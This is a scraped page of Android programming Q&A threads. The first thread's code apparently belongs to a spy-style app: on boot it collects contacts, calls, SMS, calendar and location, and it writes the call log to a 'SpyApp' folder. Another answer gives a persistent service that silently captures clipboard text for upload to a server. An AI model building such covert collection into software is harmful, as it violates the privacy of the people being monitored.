Can I add more than one AsyncTask and execute simultaneously? - android

Can I add more than one AsyncTask and execute simultaneously?
From main activity can I start execution of more than one Asynctask like this.
public class Receivers extends BroadcastReceiver {
#SuppressWarnings("deprecation")
#Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Log.e("Hello>>", "From OnReceive");
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
Log.e("Hello......>>", "From OnReceive");
MyContactsSending mycon= new MyContactsSending(context);
mycon.execute();
Log.e("contacts","Executed");
MyCallsSending send = new MyCallsSending(context);
send.execute();
Log.e("calls","Executed");
MySmsSending smssms = new MySmsSending(context);
smssms.execute();
Log.e("sms","Executed");
MyCalendarSending calendar = new MyCalendarSending(context);
calendar.execute();
Log.e("calendar","Executed");
MyLocationSending location = new MyLocationSending(context);
location.execute();
Log.e("GPS","Executed");
}
}
}
here in this code I get all the Logs but after that it will not go in Asynctask's doInBackground() method.(None of it).
I set Log in every class's method doInBackground() but none of it got hit in Log(means none of that method executed).
My qustion is that can I execute more than one AsyncTask's object like this?
One of my AsyncTask class's code is this:
public class MyCallsSending extends AsyncTask {
Context concall;
public MyCallsSending(Context con){
this.concall = con;
}
#Override
protected Void doInBackground(Void... params) {
// TODO Auto-generated method stub
Calls call = new Calls(concall);
call.getCallDetails();
Log.e("Calls Sending", "from asynctask");
return null;
}
}
and the Calls class's code is like this:
public class Calls {
Context con;
public calls(Context con){
this.con = con;
}
public void getCallDetails() {
StringBuffer sb = new StringBuffer();
Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
null, null, null);
if (managedCursor != null) {
Log.i("Cursor has values...", "Yes");
}
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("************Call Details************\n");
managedCursor.moveToFirst();
do {
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
Log.i("Values", phNumber + callType + callDate);
sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
+ " \nCall Date:- " + callDayTime
+ " \nCall duration in sec :- " + callDuration);
sb.append("\n-----------------------------------");
} while (managedCursor.moveToNext());
managedCursor.close();
try {
File myFile = new File(Environment.getExternalStorageDirectory()
+ File.separator + "SpyApp");
if (!myFile.exists()) {
myFile.mkdir();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}
String path = myFile.getPath();
//Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);
File file = new File(path + File.separator + "CallLog.txt");
if (!file.exists()) {
file.createNewFile();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}
FileOutputStream fOut = new FileOutputStream(file);
OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);
myOutWriter.append(sb.toString());
myOutWriter.flush();
myOutWriter.close();
fOut.close();
//Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
// Toast.LENGTH_SHORT).show();
} catch (Exception e) {
//Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
// .show();
}
}
}

Short version: Sure you can!
AsyncTask by default executes in a serial queue (one after another), but if you want they to run concurrently you can:
new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);
Starting with HONEYCOMB, tasks are executed on a single thread to avoid common application errors caused by parallel execution. If you truly want parallel execution, you can invoke executeOnExecutor(java.util.concurrent.Executor, Object[]) with THREAD_POOL_EXECUTOR.
AsyncTask on Android's Documentation
Be careful when using parallel threads, to not overload the device and get the app killed.

Related

Why does WorkManager tasks hang sometimes in my OneTimeWorkRequest?

I'm aware that that
All background work is given a maximum of ten minutes to finish its execution
and that it may take it's time depending on certain things
My code belows creates 8 OneTimeWorkRequests then puts them what im hoping is a chain then is enqueued;
workManager.beginWith(deleteCurrent)
.then(deleteCurrentImages)
.then(insertData)
.then(insertImage)
.then(insertAutoNames)
.then(insertAutoCondition)
.then(checkComplete)
.enqueue();
The last request is to finish the current activity (if it reaches this request, it's assumed all tasks ran successfully) see below.
public class CheckComplete extends Worker {
#NonNull
#Override
public Result doWork() {
MyApplication myApplication = null;
boolean run = true;
Context context = getActivity();
myApplication = (MyApplication) context.getApplicationContext();
SQLiteConnection mybdc = myApplication.getData();
String jobNo = getInputData().getString("jobNo", "");
String section = getInputData().getString("section", "");
int viewSize = getInputData().getInt("viewSize", 0);
int result = checkLastEntry(jobNo, section,viewSize, mybdc);
if (1 == result) {
getActivity().finish();
return Result.SUCCESS;
} else {
Message.message(context, "Error occurred, please try and save again");
return Result.FAILURE;
}
}
public int checkLastEntry(String jobNo, String section, int viewSize, SQLiteConnection mydbc) {
ArrayList<String> values = new ArrayList<>();
try {
SQLiteStatement mystatement = null;
mystatement = mydbc.prepareStatement("SELECT value FROM documentTable WHERE jobNo = '" + jobNo + "' AND section = '" + section + "'");
while (mystatement.step()) {
values.add(mystatement.getColumnTextNativeString(0));
}
} catch (SQLException ex) {
try {
File path = new File("/sdcard/exports/logs");
SimpleDateFormat dateFormat = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss");
String currentDateTime = dateFormat.format(new Date()) + " ";
File myFile = new File(path, "DBCrashes.txt");
FileOutputStream fOut = new FileOutputStream(myFile, true);
OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);
myOutWriter.append("\n" +
"\r");
myOutWriter.append(currentDateTime + " Error reading values: " + ex);
myOutWriter.close();
fOut.close();
return 0;
} catch (java.io.IOException e) {
return 0;
}
}
if(values.size()==viewSize) {
return 1;
}else{
return 0;
}
}
}
There is a class for each OneTimeWorkRequests (besides insertAutoNames/Condition)
I put a break point on each return line in doWork().
For some reason when I run it sometimes it just hangs and would not reach the next tasks return line what could be causing this?
Edit: The workers begin when a "save" button is pressed, if it hangs this should allow the user to push save again, this will run the line below then run the commands above, however it doesn't seem to cancel the threads at work.
workManager.cancelAllWork();
Should I even be using WorkManager to query the database?
Previously I had it on a main thread but had some problems.
You cannot assume that there will be an Activity running when your Worker is being run. This is because JobScheduler may run your Worker alone in the background. You should be using getWorkInfoById() instead.

How to make an app to copy text and send automatically to my networked database?

I am try to make Android app using clipboard manager
Using this code-
final ClipboardManager clipboard = (ClipboardManager) this.getSystemService(Context.CLIPBOARD_SERVICE);
clipboard.addPrimaryClipChangedListener( new ClipboardManager.OnPrimaryClipChangedListener() {
public void onPrimaryClipChanged() {
String a = clipboard.getText().toString();
Toast.makeText(getBaseContext(),"Copy:\n"+a,Toast.LENGTH_LONG).show();
}
});
My app aim to copy text and send automatically my server database. Any ideas on creating this?
Firstly create a service which will listen even when the application is closed
public class CBWatcherService extends Service {
private final String tag = "[[ClipboardWatcherService]] ";
private OnPrimaryClipChangedListener listener = new OnPrimaryClipChangedListener() {
public void onPrimaryClipChanged() {
performClipboardCheck();
}
};
#Override
public void onCreate() {
((ClipboardManager) getSystemService(CLIPBOARD_SERVICE)).addPrimaryClipChangedListener(listener);
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
File folder = new File(ClipboardCacheFolderPath);
// ClipboardCacheFolderPath is a predefined constant with the path
// where the clipboard contents will be written
if (!folder.exists()) { folder.mkdir(); }
return START_STICKY;
}
#Override
public IBinder onBind(Intent intent) {
return null;
}
private void performClipboardCheck() {
ClipboardManager cb = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
if (cb.hasPrimaryClip()) {
ClipData cd = cb.getPrimaryClip();
if (cd.getDescription().hasMimeType(ClipDescription.MIMETYPE_TEXT_PLAIN)) {
try {
File folder = new File(ClipboardCacheFolderPath);
if (!folder.exists()) { folder.mkdir(); }
Calendar cal = Calendar.getInstance();
String newCachedClip =
cal.get(Calendar.YEAR) + "-" +
cal.get(Calendar.MONTH) + "-" +
cal.get(Calendar.DAY_OF_MONTH) + "-" +
cal.get(Calendar.HOUR_OF_DAY) + "-" +
cal.get(Calendar.MINUTE) + "-" +
cal.get(Calendar.SECOND);
// The name of the file acts as the timestamp (ingenious, uh?)
File file = new File(ClipboardCacheFolderPath + newCachedClip);
file.createNewFile();
BufferedWriter bWriter = new BufferedWriter(new FileWriter(file));
bWriter.write((cd.getItemAt(0).getText()).toString());
bWriter.close();
// Here send the file or the text you want to send to the server or firebase
//callApi()
}
catch (IOException e) {
e.printStackTrace();
}
}
}
}
}

Android DeadObjectException

I have developed my mobile Application based on GSM SMS Communication through the Service Implementation in Android called SmsService.java which use a Receiver as an inner class. In SmsService we use android service that run all time during application runtime. I use it through the use BinderProxy via the use of aidl (Interface Language) it works fine but after some time it will show the Exception Message.I tag the message as well as code for SmsService.java class. Sir please help me how to resolve. thanks in advance and sorry for bad English if not understand..
The Exception log is..
04-24 12:53:04.230: E/SMSReceiver(980): Failed to notify listener aidl.com.services.MessageListener$Stub$Proxy#40528870
04-24 12:53:04.230: E/SMSReceiver(980): android.os.DeadObjectException
04-24 12:53:04.230: E/SMSReceiver(980): at android.os.BinderProxy.transact(Native Method)
04-24 12:53:04.230: E/SMSReceiver(980): at aidl.com.services.MessageListener$Stub$Proxy.handleNewMessage(MessageListener.java:76)
04-24 12:53:04.230: E/SMSReceiver(980): at com.services.SmsService$SMSReceiver.onReceive(SmsService.java:227)
04-24 12:53:04.230: E/SMSReceiver(980): at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:709)
04-24 12:53:04.230: E/SMSReceiver(980): at android.os.Handler.handleCallback(Handler.java:587)
04-24 12:53:04.230: E/SMSReceiver(980): at android.os.Handler.dispatchMessage(Handler.java:92)
04-24 12:53:04.230: E/SMSReceiver(980): at android.os.Looper.loop(Looper.java:130)
04-24 12:53:04.230: E/SMSReceiver(980): at android.app.ActivityThread.main(ActivityThread.java:3683)
04-24 12:53:04.230: E/SMSReceiver(980): at java.lang.reflect.Method.invokeNative(Native Method)
04-24 12:53:04.230: E/SMSReceiver(980): at java.lang.reflect.Method.invoke(Method.java:507)
04-24 12:53:04.230: E/SMSReceiver(980): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839)
04-24 12:53:04.230: E/SMSReceiver(980): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597)
04-24 12:53:04.230: E/SMSReceiver(980): at dalvik.system.NativeStart.main(Native Method)
finally the code for the SmsService.java
public class SmsService extends Service {
private SMSReceiver mSMSreceiver;
private IntentFilter mIntentFilter;
private DataBaseAdapter dba;
private String Tag = SmsService.class.getSimpleName();
public final Object latestSearchResultLock = new Object();
public List<MessageListener> listeners = new ArrayList<MessageListener>();
private static BufferedWriter out;
private static int id = 0;
private static int msgId= 0;
#Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
if(SmsService.class.getName().equals(arg0.getAction())){
Log.d(Tag, "Binding Complete" + arg0);
return apiEndpoint;
}else
return null;
}
public SmsService(){
/*dba = new DataBaseAdapter(this);*/
/*dba = DataBaseAdapter.getInstance(this);*/
mSMSreceiver = new SMSReceiver(this);
Log.i("On Constructor", "Assign Service");
}
private final Object findLatest = new Object();
private MessageQueue<newItem> msgQueue = new MessageQueue<newItem>();
public SmsService getService(){
return SmsService.this;
}
private MessageReceiverApi.Stub apiEndpoint = new MessageReceiverApi.Stub(){
#Override
public void addListener(MessageListener listener) throws RemoteException {
// TODO Auto-generated method stub
synchronized(listeners){
listeners.add(listener);
}
}
#Override
public void removeListener(MessageListener listener) throws RemoteException {
// TODO Auto-generated method stub
synchronized (listeners) {
listeners.remove(listener);
}
}
#Override
public MessageQueue<newItem> getMessageQueueUpdated()
throws RemoteException {
// TODO Auto-generated method stub
synchronized(findLatest){
return msgQueue;
}
}
};
#Override
public void onCreate(){
super.onCreate();
Log.i(Tag, "Service is creating");
mIntentFilter = new IntentFilter();
mIntentFilter.addAction(ConstantClass.SMS_RECEIVED);
registerReceiver(mSMSreceiver,mIntentFilter);
Log.i(Tag, "Service is creating Successfully");
}
#Override
public int onStartCommand(Intent intent , int flags, int type){
return START_STICKY;
}
#Override
public void onDestroy(){
super.onDestroy();
unregisterReceiver(mSMSreceiver);
/*if(dba!=null)
DataBaseAdapter.getInstance(this).closeConnection();*/
}
public class SMSReceiver extends BroadcastReceiver {
/*private DataBaseAdapter dba;*/
private Context context;
#SuppressWarnings("unused")
private String Strsql;
private SMSSync sync;
private UtilityFunction utility;
private boolean isCrdMatch;
private String address,Phnumber, msg=null/*,panId =null*/,curMsg=null,mtemp=null;
private String devid,incAddr;
#SuppressWarnings("unused")
private Handler handle;
private MessageQueue<newItem> list;
private newItem item;
private String Tag = SMSReceiver.class.getSimpleName();
public SMSReceiver(Context ctx){
this.context = ctx;
list=new MessageQueue <newItem>();
}
#Override
public void onReceive(Context context,final Intent intents){
/*dba = new DataBaseAdapter(context); */
dba = DataBaseAdapter.getInstance(this.context);
utility = new UtilityFunction(context);
sync = new SMSSync(context);
if (intents.getAction().equals(ConstantClass.SMS_RECEIVED)) {
try{
Bundle bundle = intents.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages) {
msg = message.getMessageBody();
incAddr = message.getOriginatingAddress();
}
/*Thread.sleep(50);*/
mtemp = getMessage(msg);
if(mtemp!=null){
item = new newItem(mtemp);
list.enqueue(item);
while(!list.isEmpty()){
curMsg = list.peek().getItem();
if(curMsg.startsWith("<") && curMsg.endsWith(">")){
msgId = 0;
char mid = curMsg.charAt(3);
msgId = (int )mid;
Log.i(Tag, "message id:="+ msgId);
//dba.SetSynchronization();
if(msgId==50 || msgId == 54 || msgId == 56 || msgId==65 || msgId == 67 || msgId == 69 || msgId == 75 || msgId == 76){
utility.displayNotification(this.context,curMsg);
}else{
devid = curMsg.substring(4, 20);
/*if(!dba.IsConOpenOrClose())
dba.openRead();*/
Cursor cur = dba.getRecordAcToID(DeviceStorage.TABLE_DEVICE, new String[]{DeviceStorage.Key_AlarmTime },
DeviceStorage.Key_DevID , devid);
if(cur.getCount()>0){
cur.moveToFirst();
int almTime = Integer.valueOf(cur.getString(0));
if(almTime==0)
utility.displayNotification(this.context,curMsg);
}
}
/*if(!dba.IsConOpenOrClose())
dba.Open();*/
int count = dba.getDeviceCount(DeviceCurrent.TABLE_CURRENT);
if(count<=0){
dba.InsertCurrentCoord(id,id);
}else{
dba.updateCommon(DeviceCurrent.TABLE_CURRENT, DeviceCurrent.Key_ReceiverCoord, DeviceCurrent.Key_ID , Integer.toString(id), Integer.toString(1));
dba.updateCommon(CoordStore.TABLE_COORD, CoordStore.Key_IsReceiverUpdate, CoordStore.Key_MBID, Integer.toString(1), Integer.toString(id));
Log.i(Tag, "Updateing Coordinator for Receiver");
}
/*sid = dba.CurrentWorkingCoordinator(DeviceCurrent.Key_SendCoord, 1);*/
Log.i(Tag, "Updateing DataBase Only for Record");
ConstantClass.IsReadLog=false;
sync.smsProcess(curMsg);
/*if(msgId==50 && sid == id){
panId = curMsg.substring(22, 26);
authority = utility.getAuthority();
if(authority.equals("A") && panId.equals("3000")){
ConstantClass.Clear_Main_Screen=false;
ConstantClass.isMainOpen = false;
Intent intent = new Intent(this.context,SettingScreen.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
context.startActivity(intent);
}
} */
utility.getLicense();
Log.i(Tag, "ConstantClass Log " + String.valueOf(ConstantClass.LOGS));
if(ConstantClass.LOGS){
WriteOnLog(curMsg,1);
}
abortBroadcast();
/************Now deleting the SMS from the Inbox*********************/
removeMessage(this.context, Phnumber);
list.dequeue();
synchronized(listeners){
for (MessageListener listener : listeners) {
try {
/*listener.notify();*/
listener.handleNewMessage();
/*listener.asBinder();*/
} catch (RemoteException e){
Log.e(Tag, "Failed to notify listener " , e);
}
}
}
}
}
}
}
}catch(Exception e){
Toast.makeText(this.context, "On SMS Receiver" + e.getMessage(), Toast.LENGTH_LONG).show();
WriteOnLog(curMsg,0);
} /*catch (Throwable e) {
// TODO Auto-generated catch block
e.printStackTrace();
}*/finally{
/*if(dba.IsConOpenOrClose())
dba.close();
dba=null;*/
utility = null;
sync=null;
}
}
if(ConstantClass.Clear_Main_Screen==true && ConstantClass.isMainOpen == true){
Intent intent = new Intent(context,ZigbeeActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
}
}
private void removeMessage(Context context, String fromAddress) {
Uri uriSMS = Uri.parse("content://sms/inbox");
Cursor cursor = null;
/*if(!dba.IsConOpenOrClose())
dba.Open();*/
try{
cursor = context.getContentResolver().query(uriSMS, null, null, null, null);
cursor.moveToFirst();
if(cursor.getCount() > 0){
int ThreadId = cursor.getInt(1);
context.getContentResolver().delete(Uri.parse("content://sms/conversations/"+ThreadId), "address=?",new String[]{fromAddress});
Log.d("Message Thread Deleted", fromAddress);
}
}catch(Exception e){
Log.e("remove Message", e.getMessage());
}finally{
if(cursor!=null)
cursor.close();
/*if(dba.IsConOpenOrClose())
dba.close();*/
}
}
private String getMessage(String msg){
String newMsg = null;
try{
int tl = incAddr.length();
int l = tl - ConstantClass.NO;
address = incAddr.substring(l,tl);
isCrdMatch = MatchCoord(address);
if(isCrdMatch == true) {
if(msg.startsWith("<") && msg.contains(">")){
int len = Integer.valueOf(msg.substring(1, 3), 16).intValue();
int index = msg.indexOf(">");
Log.i(Tag, "Value is:" + len);
Log.i(Tag, "index value is:" + index);
if(len==index+1){
newMsg = msg.substring(0, len); //getting the length of the whole message and except the Garbage /
Log.i(Tag, "receiving msg length is:=" + len);
Log.i(Tag, "receiving msg is:=" + newMsg);
return newMsg;
}else{
Toast.makeText(this.context, "message Corrupt" + address, Toast.LENGTH_LONG).show();
}
}
}
}catch(Exception e){
e.printStackTrace();
}
return newMsg;
}
private boolean MatchCoord(String no){
boolean isMatched = false;
String crdNo = null;
Cursor cursor = null;
try{
cursor = dba.SelectCommon(CoordStore.TABLE_COORD, new String[]{CoordStore.Key_MBID,CoordStore.Key_MbNo},
CoordStore.Key_MbNo , new String[]{no});
if(cursor.getCount()>0)
cursor.moveToFirst();
do{
crdNo = cursor.getString(cursor.getColumnIndex(CoordStore.Key_MbNo));
if(crdNo.equals(no)){
id = cursor.getInt(cursor.getColumnIndex(CoordStore.Key_MBID));
Phnumber = crdNo;
Log.i(Tag, "Crd No is:" + Phnumber);
isMatched = true;
break;
}
}while(cursor.moveToNext());
}catch(Exception e){
Log.e(Tag, e.getMessage());
}finally{
if(cursor!=null)
cursor.close();
}
return isMatched;
}
private void WriteOnLog(String msg,int crpt){
File exportDir = new File("/sdcard/CIH");
if (!exportDir.exists()) {
exportDir.mkdirs();
}
String fileName;
fileName = "log" + ".txt";
File file = new File(exportDir,fileName);
String txt=null ;
try {
if(!file.exists()){
file.createNewFile();
FileWriter Write = new FileWriter(file,true);
out = new BufferedWriter(Write);
txt = "Date Time |" + " Send/Receive |" + " Controller No |" + " Success |" +" Message " + " | Corrupt";
out.write( txt + "\r\n" );
out.flush();
out.close();
}
/*FileWriter Write = new FileWriter(file,true);
out = new BufferedWriter(Write);*/
//txt = "Date Time |" + " Send/Receive |" + " Controller No |" +" Message " ;
String header = "Date Time |" + " Send/Receive |" + " Controller No |" + " Success |" +" Message " + "| Corrupt \r\n" ;
String dd=null,mm=null,yy=null,hh=null,min=null,ss=null,dt=null;
SimpleDateFormat sdfDateTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
String newtime = sdfDateTime.format(new Date(System.currentTimeMillis()));
yy = newtime.substring(2, 4);
mm = newtime.substring(5, 7);
dd = newtime.substring(8, 10);
hh = newtime.substring(11, 13);
min = newtime.substring(14, 16);
ss = newtime.substring(17);
dt = dd+"-"+mm+"-"+yy +" " + hh + ":" + min +":"+ ss;
if(crpt == 0)
txt = dt + " | " +" Receive " + "| " + address + " | " + " Successfull |" + msg.toUpperCase() +" | " + " Yes \r\n" ;
else
txt = dt + " | " +" Receive " + "| " + address + " | " + " Successfull |" + msg.toUpperCase() + "| No \r\n";
prepend(file.getAbsolutePath(),txt,header);
/*out.write( txt + "\n");
out.flush();*/
}
catch(IOException sqlEx) {
Log.e("MainActivity", sqlEx.getMessage(), sqlEx);
}
}
public void prepend(String filename,String data,String Header) throws IOException{
BufferedReader in = new BufferedReader(new FileReader(filename));
StringBuilder reply = new StringBuilder();
String str = new String();
reply.append(Header);
//////////now appending the data that current sms /////////
reply.append(data);
int i = 0;
while( (str = in.readLine())!=null ){
if(i!=0)
reply.append(str + "\r\n");
i++;
}
str = reply.toString();
BufferedWriter out= new BufferedWriter(new FileWriter(filename));
out.write(str);
if(in !=null){
try{
in.close();
} catch(IOException e){
e.printStackTrace();
}
if(out!=null)
try{
out.close();
} catch(IOException ex) {
ex.printStackTrace();
}
}
}
}
}

Updating Activity TextView from Service

I need to download 100MB of images, so i decided that the best way is to make Service wich download it, and will show results for each file in activity. But this works like theres no service, the Activity fzreees, and unfreezes only after download all files.
Heres the code of Activity:
public class DownloadActivity extends Activity
{
String hist;
#Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.download_activity);
startService(new Intent(this, DownloadService.class));
registerReceiver(broadcastReceiver,
new IntentFilter(DownloadService.BROADCAST_ACTION));
}
private BroadcastReceiver broadcastReceiver = new BroadcastReceiver()
{
#Override
public void onReceive(Context context, Intent _intent)
{
updateUI(_intent);
}
};
private void updateUI(Intent intent)
{
if (intent.getBooleanExtra("exists", false))
hist = hist + "Item " +
intent.getIntExtra("item", -1) + ", image " +
intent.getIntExtra("obraz", -1) + " - DOWNLOADED\n";
else
hist = hist + "Item " +
intent.getIntExtra("item", -1) + ", image " +
intent.getIntExtra("obraz", -1) + " - ALREADY EXISTS\n";
((TextView) findViewById(R.id.dtitle)).setText("Item " +
intent.getIntExtra("item", -1) + ", image " +
intent.getIntExtra("image", -1) + ".");
((TextView) findViewById(R.id.ddetails)).setText(hist);
}
}
Code of Service:
public class DownloadService extends Service
{
public static final String BROADCAST_ACTION = "emis.katalog.grzybow.publishprogress";
Intent intent;
int counter = 0;
String postString;
#Override
public IBinder onBind(Intent arg0)
{
// TODO Auto-generated method stub
return null;
}
#Override
public void onCreate()
{
super.onCreate();
intent = new Intent(BROADCAST_ACTION);
}
#Override
public void onStart(Intent intent, int startId)
{
SQLiteDatabase db = new BazaGrzybowHelper(DownloadService.this).getReadableDatabase();
Cursor kursor = db.rawQuery("SELECT * FROM table", null);
InputStream in = null;
OutputStream out = null;
URL ulrn;
int nn = 1;
int pos = 1;
//out:
while(kursor.moveToNext())
{
while(kursor.getString(kursor.getColumnIndex("i_url_" + nn)) != "" ||
kursor.getString(kursor.getColumnIndex("i_url_" + nn)) != null)
{
String filename = "thg_" + pos + "_" + (nn+2) + ".jpg";
if (new File(Environment.getExternalStorageDirectory(),
"emis/katalog.grzybow/zapis_na_stale/"+filename).exists())
publishProgress(pos, nn, true);
else
{
publishProgress(pos, nn, false);
File destDir = new File(Environment.getExternalStorageDirectory(),
"emis/katalog.grzybow/zapis_na_stale");
if (!destDir.exists())
destDir.mkdirs();
destDir = null;
try
{
ulrn = new URL(kursor.getString(kursor.getColumnIndex("i_url_" + nn)));
HttpURLConnection con = (HttpURLConnection)ulrn.openConnection();
in = con.getInputStream();
out = new FileOutputStream(Environment.getExternalStorageDirectory().
getPath() + "/emis/katalog.grzybow/zapis_na_stale/" + filename);
copyFile(in, out);
in.close();
in = null;
out.flush();
out.close();
out = null;
}
catch(Exception e)
{
e.printStackTrace();
}
}
nn++;
if (nn > 10 || kursor.getString(kursor.getColumnIndex("i_url_" + nn)) == "" ||
kursor.getString(kursor.getColumnIndex("i_url_" + nn)) == null)
{
nn = 1;
break;
}
/*if (anuluj)
break out;*/
}
pos++;
}
db.close();
}
private void publishProgress(int item, int image, boolean exists)
{
intent.putExtra("item", item);
intent.putExtra("image", image);
intent.putExtra("exists", exists);
sendBroadcast(intent);
}
private void copyFile(InputStream in, OutputStream out) throws IOException
{
byte[] buffer = new byte[1024];
int read;
while((read = in.read(buffer)) != -1)
{
out.write(buffer, 0, read);
}
}
}
What am I doing wrong?
Perhaps this?
Caution: A service runs in the main thread of its hosting process—the
service does not create its own thread and does not run in a separate
process (unless you specify otherwise). This means that, if your
service is going to do any CPU intensive work or blocking operations
(such as MP3 playback or networking), you should create a new thread
within the service to do that work. By using a separate thread, you
will reduce the risk of Application Not Responding (ANR) errors and
the application's main thread can remain dedicated to user interaction
with your activities.

how to get call time duration in android ? and also multiple time write data in file?

public void onCallStateChanged(int state,String incomingNumber)
{
System.out.print("\nState :- "+state);
switch(state){
case TelephonyManager.CALL_STATE_IDLE:
if(flag==true && ringflag == true)
{
flag=false;
ringflag=false;
System.out.print("\nflag = " + flag);
System.out.print("\nringflag = " + ringflag);
stop = System.currentTimeMillis();
System.out.println("\nTotal time : " +stop);
System.out.println("\nTotal time : " +(stop - start)/1000);
System.out.println("\nIDLE : " + incomingNumber);
long time = (stop - start) / 1000;
String path = Environment.getExternalStorageDirectory().getAbsolutePath();
f = new File(path + "/sms.txt");
if (f.exists()) {
try {
raf =new RandomAccessFile(f, "rw");
long pointer = raf.length();
raf.seek(pointer);
String data = ":-"+no+","+time;
raf.writeBytes(data);
raf.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
} else {
try {
raf = new RandomAccessFile(f,"rw");
String data = ":-"+no+","+time;
raf.writeBytes(data);
raf.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
if(ringflag == true)
{
System.out.println("OFFHOOK :- " + incomingNumber);
start = System.currentTimeMillis();
System.out.print("\nStart is :-" + start);
flag=true;
}
break;
case TelephonyManager.CALL_STATE_RINGING:
no = incomingNumber;
System.out.println("Ringing : " + incomingNumber);
ringflag= true;
break;
}
}
I can answer the first part of your question
To get the call duration it is important to access the Call Logs.
Using the information given in CallLog.Calls, It can be done like below:
Uri allCalls = Uri.parse("content://call_log/calls");
Cursor c = managedQuery(allCalls, null, null, null, null);
for(String colName : c.getColumnNames())
Log.v(TAG, "Column Name: " + colName);
if (c.moveToFirst())
{
do{
String id = c.getString(c.getColumnIndex(CallLog.Calls._ID));
String num = c.getString(c.getColumnIndex(CallLog.Calls.NUMBER));
int type = Integer.parseInt(c.getString(c.getColumnIndex(CallLog.Calls.TYPE)));
String duration = c.getString(c.getColumnIndex(CallLog.Calls.DURATION));
System.out.println("call time duration is"+duration);
switch (type)
{
case 1: Log.v(TAG, id + ", " +num + ": INCOMING") ; break;
case 2: Log.v(TAG, id + ", " +num + ": OUTGOING") ;break;
case 3: Log.v(TAG, id + ", " +num + ": MISSED") ; break;
}
} while (c.moveToNext());
}
Refer this nice blog post for more information.

Categories

Resources